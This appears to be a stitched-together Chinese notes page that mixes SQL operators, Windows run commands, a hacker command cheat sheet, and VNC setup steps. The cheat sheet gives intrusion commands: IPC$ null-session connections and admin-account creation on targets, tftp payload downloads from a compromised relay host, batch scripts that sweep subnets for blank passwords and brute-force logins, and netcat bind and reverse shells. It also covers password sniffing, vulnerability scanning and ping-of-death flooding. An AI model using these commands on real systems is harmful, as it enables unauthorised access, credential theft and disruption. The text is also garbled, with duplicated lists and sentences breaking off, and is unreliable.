一、查询间使用运算词
A： UNION 运算符
UNION 运算符通过组合其他两个结果表（例如 TABLE1 和 TABLE2）并消去表中任何重复行而派生出一个结果表。当 ALL 随 UNION 一起使用时（即 UNION ALL），不消除重复行。两种情况下，派生表的每一行不是来自 TABLE1 就是来自 TABLE2。
B： EXCEPT 运算符
EXCEPT 运算符通过包括所有在 TABLE1 中但不在 TABLE2 中的行并消除所有重复行而派生出一个结果表。当 ALL 随 EXCEPT 一起使用时 (EXCEPT ALL)，不消除重复行。
C： INTERSECT 运算符
INTERSECT 运算符通过只包括 TABLE1 和 TABLE2 中都有的行并消除所有重复行而派生出一个结果表。当 ALL 随 INTERSECT 一起使用时 (INTERSECT ALL)，不消除重复行。
注：使用运算词的几个查询结果行必须是一致的。
二、外连接
A、left outer join：
左外连接（左连接）：结果集几包括连接表的匹配行，也包括左连接表的所有行。
B：right outer join:
右外连接(右连接)：结果集既包括连接表的匹配连接行，也包括右连接表的所有行。
C：full outer join：
全外连接：不仅包括符号连接表的匹配行，还包括两个连接表中的所有记录。
注：复合外连接按照从左到右的顺序执行连接，左边连接的结果集和右边连接
三、超级分组和移动函数
A：grouping sets：用来在单个sql中形成多级分组。
例：select company_id,node_id,count(customer_id) from customer group by grouping sets(company_id,node_id)
B：rollup：可以在单个数据库操作中形成多个分组。
例：select company_id,node_id,count(customer_id) from customer group by rollup(company_id,node_id)
注：rollup操作不是可交换的操作，指定用户组的顺序是很重要的。
C：cube： 生成分组表中分组的所有组合。
例：select company_id,node_id,count(customer_id) from customer group by cube(company_id,node_id)
D：over：移动函数可以帮助实现移动的数据分析
Select date,avg(qty) over(order by date rows between 1 preceding and 1 following) as values from sale
winver---------检查Windows版本
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序
wscrīpt--------windows脚本宿主设置
write----------写字板
winmsd---------系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕“讲述人”
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介（安装完成后出现的漫游xp程序）
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持 cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------^^整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具，系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
rundll32.exe shell32.dll,Control_RunDLL ----------显示控制面板
rundll32.exe shell32.dll,Control_RunDLL
access.cpl,,1--------显示辅助功能选项
rundll32.exe shell32.dll,Control_RunDLL sysdm.cpl @1－－打开系统属性
rundll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,1－－－删除或添加程序
rundll32.exe syncui.dll,Briefcase_Create－－－－桌面上建立公文包
rundll32.exe diskcopy.dll,DiskCopyRunDll－－－－复制软盘驱动器
rundll32.exe shell32.dll,Control_RunDLL timedate.cpl,,0－－显示时间属性
rundll32.exe shell32.dll,Control_RunDLL desk.cpl,,0－－－－显示桌面墙纸属性
rundll32.exe shell32.dll,Control_RunDLL joy.cpl,,0－－－－－游戏控制器
rundll32.exe shell32.dll,Control_RunDLL mmsys.cpl,,0－－－音频属性
cmd.exe--------CMD命令提示符 chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序 calc-----------启动计算器
charmap--------启动字符映射表 cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器 conf-----------启动netmeeting
compmgmt.msc---计算机管理 cleanmgr-------垃圾整理
ciadv.msc------索引服务程序 osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器 oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组 logoff---------注销命令
iexpress-------木马捆绑工具，系统自带 Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器 utilman--------辅助工具管理器
net use \\ip\ipc$ " " /user:" " 建立IPC空链接
net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接
net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H:
net use h: \\ip\c$ 登陆后映射对方C：到本地为H:
net use \\ip\ipc$ /del 删除IPC链接
net use h: /del 删除映射对方到本地的为H:的映射
net user 用户名 密码 /add 建立用户
net user guest /active:yes 激活guest用户
net user 查看有哪些用户
net user 帐户名 查看帐户的属性
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意：administrator后加s用复数
net start 查看开启了哪些服务
net start 服务名 开启服务；(如:net start telnet， net start schedule)
net stop 服务名 停止某服务
net time \\目标ip 查看对方时间
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息
net view 查看本地局域网内开启了哪些共享
net view \\ip 查看对方局域网内开启了哪些共享
net config 显示系统网络设置
net logoff 断开连接的共享
net pause 服务名 暂停某服务
net send ip "文本信息" 向对方发信息
net ver 局域网内正在使用的网络连接类型和信息
net share 查看本地开启的共享
net share ipc$ 开启ipc$共享
net share ipc$ /del 删除ipc$共享
net share c$ /del 删除C：共享
net user guest 12345 用guest用户登陆后用将密码改为12345
net password 密码 更改系统登陆密码
netstat -a 查看开启了哪些端口,常用netstat -an
netstat -n 查看端口的网络连接情况，常用netstat -an
netstat -v 查看正在进行的工作
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况）
netstat -s 查看正在使用的所有协议使用情况
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：“-w数字”用于设置超时间隔。
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：“-l[空格]数据包大小”；“-n发送数据次数”；“-t”指一直ping。
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数“/all”显示全部配置信息
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内)
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件，“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
#2 二：
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同）
move 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"> "和"> >" 是重定向命令
at id号 开启已注册的某个计划任务
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止
at id号 /delete 停止某个已注册的计划任务
at 查看所有的计划任务
at \\ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机
finger username @host 查看最近有哪些用户登陆
telnet ip 端口 远和登陆服务器,默认端口为23
open ip 连接到IP（属telnet登陆后的命令）
telnet 在本机上直接键入telnet 将进入本机的telnet
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件
copy c:\srv.exe \\ip\admin$ 复制本地c:\srv.exe到对方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件
copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件（所有文件）至本地C：
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后，将“IP”的server.exe下载到目标主机c:\server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送
tftp -i 对方IP put c:\server.exe 登陆后，上传本地c:\server.exe至主机
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时)
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令
mem 查看cpu使用情况
attrib 文件名(目录名) 查看某文件（目录）的属性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间，而不必输入新日期和时间
set 指定环境变量名称=要指派给变量的字符 设置环境变量
set 显示当前所有的环境变量
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
pause 暂停批处理程序，并显示出：请按任意键继续....
if 在批处理程序中执行条件处理（更多说明见if命令及变量）
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：“：start”标签）
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?）
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量）
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置
echo 信息 在屏幕上显示出信息
echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
find 文件名 查找某文件
title 标题名字 更改CMD窗口标题名字
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为：EntSky\ )
#3 三：
ver 在DOS窗口下显示版本信息
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名）
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS
md 目录名 创建目录
replace 源文件 要替换文件的目录 替换文件
ren 原文件名 新文件名 重命名文件名
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称
type 文件名 显示文本文件的内容
more 文件名 逐屏显示输出文件
doskey 要锁定的命令＝字符
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir=
taskmgr 调出任务管理器
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /?
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示；
regedit /e 注册表文件名 导出注册表
cacls 文件名 参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
cacls 文件名 查看文件的访问用户权限列表
REM 文本内容 在批处理文件中添加注解
netsh 查看或更改本地网络配置情况
#4 四：
IIS服务命令：
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现）
iisreset /start或stop 启动（停止）所有Internet服务
iisreset /restart 停止然后重新启动所有Internet服务
iisreset /status 显示所有Internet服务状态
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。
FTP 命令： (后面有详细说明内容)
ftp的命令行格式为:
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。
－d 使用调试方式。
－n 限制ftp的自动登录,即不使用.netrc文件。
－g 取消全局文件名。
help [命令] 或 ？[命令] 查看命令说明
bye 或 quit 终止主机FTP进程,并退出FTP管理方式.
pwd 列出当前远端主机目录
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中
mget [remote-files] 从远端主机接收一批文件至本地主机
mput local-files 将本地主机中一批文件传送至远端主机
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件
ascii 设定以ASCII方式传送文件(缺省值)
bin 或 image 设定以二进制方式传送文件
bell 每完成一次文件传送,报警提示
cdup 返回上一级目录
close 中断与远程服务器的ftp会话(与open对应)
open host[port] 建立指定ftp服务器连接,可指定连接端口
delete 删除远端主机中的文件
mdelete [remote-files] 删除一批文件
mkdir directory-name 在远端主机中建立目录
rename [from] [to] 改变远端主机中的文件名
rmdir directory-name 删除远端主机中的目录
status 显示当前FTP的状态
system 显示远端主机系统类型
user user-name [password] [account] 重新以别的用户名登录远端主机
open host [port] 重新建立一个新的连接
prompt 交互提示模式
macdef 定义宏命令
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录
chmod 改变远端主机的文件权限
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
cd remote－dir 进入远程主机目录
cdup 进入远程主机目录的父目录
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip
#5 五：
MYSQL 命令：
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。
（例：mysql -h110.110.110.110 -Uroot -P123456
注:u与root可以不用加空格，其它也一样）
exit 退出MYSQL
mysqladmin -u用户名 -p旧密码 password 新密码 修改密码
grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符）
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。
use mysql；
show tables; 显示库中的数据表
describe 表名; 显示数据表的结构
create database 库名; 建库
use 库名；
create table 表名 (字段设定列表)； 建表
drop database 库名;
drop table 表名； 删库和删表
delete from 表名; 将表中记录清空
select * from 表名; 显示表中的记录
mysqldump --opt school>school.bbb 备份数据库：（命令在DOS的\\mysql\\bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。
win2003系统下新增命令（实用部份）：
shutdown /参数 关闭或重启本地或远程主机。
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。
例：shutdown /r /t 0 立即重启本地主机（无延时）
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
参数说明：/M 列出当前进程加载的dll文件，/SVC 显示出每个进程对应的服务，无参数时就只列出当前的进程。
#6 六：
Linux系统下基本命令： 要区分大小写
uname 显示版本信息（同win2K的 ver）
dir 显示当前目录文件,ls -al 显示包括隐藏文件（同win2K的 dir）
pwd 查询当前所在的目录位置
cd cd ..回到上一层目录，注意cd 与..之间有空格。cd /返回到根目录。
cat 文件名 查看文件内容
cat >abc.txt 往abc.txt文件中写上内容。
more 文件名 以一页一页的方式显示一个文本文件。
cp 复制文件
mv 移动文件
rm 文件名 删除文件，rm -a 目录名删除目录及子目录
mkdir 目录名 建立目录
rmdir 删除子目录，目录内没有文档。
chmod 设定档案或目录的存取权限
grep 在档案中查找字符串
diff 档案文件比较
find 档案搜寻
date 现在的日期、时间
who 查询目前和你使用同一台机器的人以及Login时间地点
w 查询目前上机者的详细资料
whoami 查看自己的帐号名称
groups 查看某人的Group
passwd 更改密码
history 查看自己下过的命令
ps 显示进程状态
kill 停止某进程
gcc 黑客通常用它来编译C语言写的文件
su 权限转换为指定使用者
telnet IP telnet连接对方主机（同win2K），当出现bash$时就说明连接成功。
ftp ftp连接上某服务器（同win2K）
附：批处理命令与变量
1：for命令及变量 基本格式：
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—%9指输入的第2-9个值；例：net use \\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3
(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1 }
command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开
command_parameters：为特定命令指定参数或命令行开关
IN (set)：指在(set)中取值；DO command ：指执行command
参数：/L 指用增量形式{ (set)为增量形式时 }；/F 指从文件中不断取值，直到取完为止{ (set)为文件时，如(d:\pass.txt)时 }。
用法举例：
@echo off
echo 用法格式：test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。
/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。
@echo off
echo 用法格式：ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。
#7 七：
2：if命令及变量 基本格式：
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码，指定条件为“真”。
例：IF errorlevel 0 命令 指程序执行后返回的值为0时，就值行后面的命令；IF not errorlevel 1 命令指程序执行最后返回的值不等于1，就执行后面的命令。
0 指发现并成功执行（真）；1 指没有发现、没执行（假）。
IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配（即：字符串1 等于 字符串2），就执行后面的命令。
例：“if "%2%"=="4" goto start”指：如果输入的第二个变量为4时，执行后面的命令（注意：调用变量时就%变量名%并加" "）
IF [not] exist 文件名 命令语句 如果指定的文件名存在，就执行后面的命令。
例：“if not nc.exe goto end”指：如果没有发现nc.exe文件就跳到":end"标签处。
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上：else 命令语句后指：当前面的条件不成立时，就指行else后面的命令。注意：else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来，因为del命令要单独一行时才能执行，用上< >后就等于是单独一行了；例如：“if exist test.txt. else echo test.txt.missing ”，注意命令中的“.”
（二）系统外部命令(均需下载相关工具)：
1、瑞士军刀：nc.exe
参数说明：
-h 查看帮助信息
-d 后台模式
-e prog程序重定向，一但连接就执行〔危险〕
-i secs延时的间隔
-l 监听模式，用于入站连接
-L 监听模式，连接天闭后仍然继续监听，直到CTR+C
-n IP地址，不能用域名
-o film记录16进制的传输
-p[空格]端口 本地端口号
-r 随机本地及远程端口
-t 使用Telnet交互方式
-u UDP模式
-v 详细输出，用-vv将更详细
-w数字 timeout延时间隔
-z 将输入，输出关掉（用于扫锚时）
基本用法：
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
高级用法：
nc -L -p 80 作为蜜罐用1：开启并不停地监听80端口，直到CTR+C为止
nc -L -p 80 > c:\log.txt 作为蜜罐用2：开启并不停地监听80端口，直到CTR+C,同时把结果输出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作为蜜罐用3-1：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中，亦可起到传送文件作用
type.exe c:\honeyport | nc -L -p 80 作为蜜罐用3-2：开启并不停地监听80端口，直到CTR+C,并把c:\honeyport.txt中内容送入管道中,亦可起到传送文件作用
本机上用：nc -l -p 本机端口
在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K
nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙
本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称
在对方主机上用：nc -vv 本机IP 本机端口 > 存放文件的路径及名称 传送文件到对方主机
备 注：
| 管道命令
< 或 > 重定向命令。“<”，例如：tlntadmn < test.txt 指把test.txt的内容赋值给tlntadmn命令
＠ 表示执行＠后面的命令，但不会显示出来（后台执行）；例：＠dir c:\winnt >> d:\log.txt 意思是：后台执行dir，并把结果存在d:\log.txt中
>与>>的区别 ">"指：覆盖；">>"指：保存到(添加到）。
如：@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二个命令分别执行二次比较看：用>>的则是把二次的结果都保存了，而用：>则只有一次的结果，是因为第二次的结果把第一次的覆盖了。
#8 八：
2、扫锚工具：xscan.exe
基本格式
xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息
xscan -file <主机列表文件名> <检测项目> [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息
检测项目
-active 检测主机是否存活
-os 检测远程操作系统类型（通过NETBIOS和SNMP协议）
-port 检测常用服务的端口状态
-ftp 检测FTP弱口令
-pub 检测FTP服务匿名用户写权限
-pop3 检测POP3-Server弱口令
-smtp 检测SMTP-Server漏洞
-sql 检测SQL-Server弱口令
-smb 检测NT-Server弱口令
-iis 检测IIS编码/解码漏洞
-cgi 检测CGI漏洞
-nasl 加载Nessus攻击脚本
-all 检测以上所有项目
其它选项
-i 适配器编号 设置网络适配器, <适配器编号>可通过"-l"参数获取
-l 显示所有网络适配器
-v 显示详细扫描进度
-p 跳过没有响应的主机
-o 跳过没有检测到开放端口的主机
-t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量, 默认数量为100,10
-log 文件名 指定扫描报告文件名 (后缀为：TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 检测192.168.1.1-192.168.255.255网段内主机的所有漏洞，跳过无响应的主机
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态，NT弱口令用户，最大并发线程数量为150，跳过没有检测到开放端口的主机
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态，CGI漏洞，最大并发线程数量为200，同一时刻最多检测5台主机，显示详细检测进度，跳过没有检测到开放端口的主机
#9 九：
3、命令行方式嗅探器: xsniff.exe
可捕获局域网内FTP/SMTP/POP3/HTTP协议密码
参数说明
-tcp 输出TCP数据报
-udp 输出UDP数据报
-icmp 输出ICMP数据报
-pass 过滤密码信息
-hide 后台运行
-host 解析主机名
-addr IP地址 过滤IP地址
-port 端口 过滤端口
-log 文件名 将输出保存到文件
-asc 以ASCII形式输出
-hex 以16进制形式输出
用法示例
xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出
4、终端服务密码破解: tscrack.exe
参数说明
-h 显示使用帮助
-v 显示版本信息
-s 在屏幕上打出解密能力
-b 密码错误时发出的声音
-t 同
安装MSI应用程序的时候,错误提示:
Internal Error 2203, C:\Windows\Installer\******.ipi,-2147287035解决方法：修改当前用户的临时文件夹权限，将SYSTEM这个帐号设置为“完全控制”。临时文件夹路径一般是
XP C:\Document And Settings\(your user name)\Local Settings\Temp
vista C:\Users\
当使用su 到另外一个用户运行某个程序，而这个程序又要有图形显示的时候，就有可能有下面提示：
Invalid MIT-MAGIC-COOKIE-1 key
(:3825): Gtk-WARNING **: cannot open display: :0.0
这是因为Xserver默认情况下不允许别的用户的图形程序的图形显示在当前屏幕上. 如果需要别的用户的图形显示在当前屏幕上, 则应以当前登陆的用户, 也就是切换身份前的用户执行如下命令。
xhost +
通过执行这条命令，就授予了其它用户访问当前屏幕的权限，于是就可以以另外的用户运行需要运行的程序了。
vnc
这玩意是个好东西，图形界面都可以远程使用。使用图形界面的系统设置－服务设置－所有服务，把其中vncserver服务打开。
1、必须安装的软件：
vncserver和vncviewer。RHEL AS4光盘上已经有这些东西了，如果没有安装，可以使用添加删除程序把他们安装上，记得还要有KDE或者GNOME。没有安装的话你配置的再对也不会出现图形界面。
如果没有可以从这里下载：http://www.realvnc.com/download.html，for Windows和for Linux的Server/Viewer都要。在Windows下装上VNC，可以只装Viewer，因为XP下已经有桌面共享功能了；在Linux下装上VNC，解压后直接运行vncinstall即可。
2、进入我的Linux帐户(我用的是root)，编辑主目录下的.vnc/xstartup为如下内容：
gnome桌面的配置文件如下：
#!/bin/sh
# Uncomment the following two lines for normal desktop:
# unset SESSION_MANAGER
# exec /etc/X11/xinit/xinitrc
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
xterm -geometry 80x24+10+10 -ls -title "$VNCDESKTOP Desktop" &
gnome-session &
配置成kde桌面的配置文件如下：
#!/bin/sh
# Uncomment the following two lines for normal desktop:
# unset SESSION_MANAGER
# exec /etc/X11/xinit/xinitrc
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
xsetroot -solid grey
vncconfig -iconic &
xterm -geometry 80x24+10+10
startkde &
我用的是KDE。
3、在我的帐户中打开终端，运行vncserver，(第一次使用可能会要求输入授权密码，以后要改动的话可以用vncpassword命令)，会显示类似下面的提示：
